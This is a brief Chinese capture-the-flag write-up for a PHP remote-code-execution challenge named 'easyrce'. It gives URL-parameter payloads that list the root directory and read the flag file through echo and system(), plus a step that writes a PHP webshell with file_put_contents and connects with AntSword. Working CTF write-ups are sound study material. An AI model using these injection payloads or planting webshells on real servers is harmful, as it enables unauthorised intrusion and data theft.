easyrce

方法1：

?url=echo%20ls /;

在根目录发现flag直接cat

?url=echo cat /f*;

方法2：用system();执行命令步骤同上

?url=system(‘ls /‘);

?url=system(‘cat /flllllaaaaaaggggggg’);

方法3：写木马

?url=file_put_contents(‘1.php’,’‘);构造木马文件，蚁剑连接

在根目录找到flag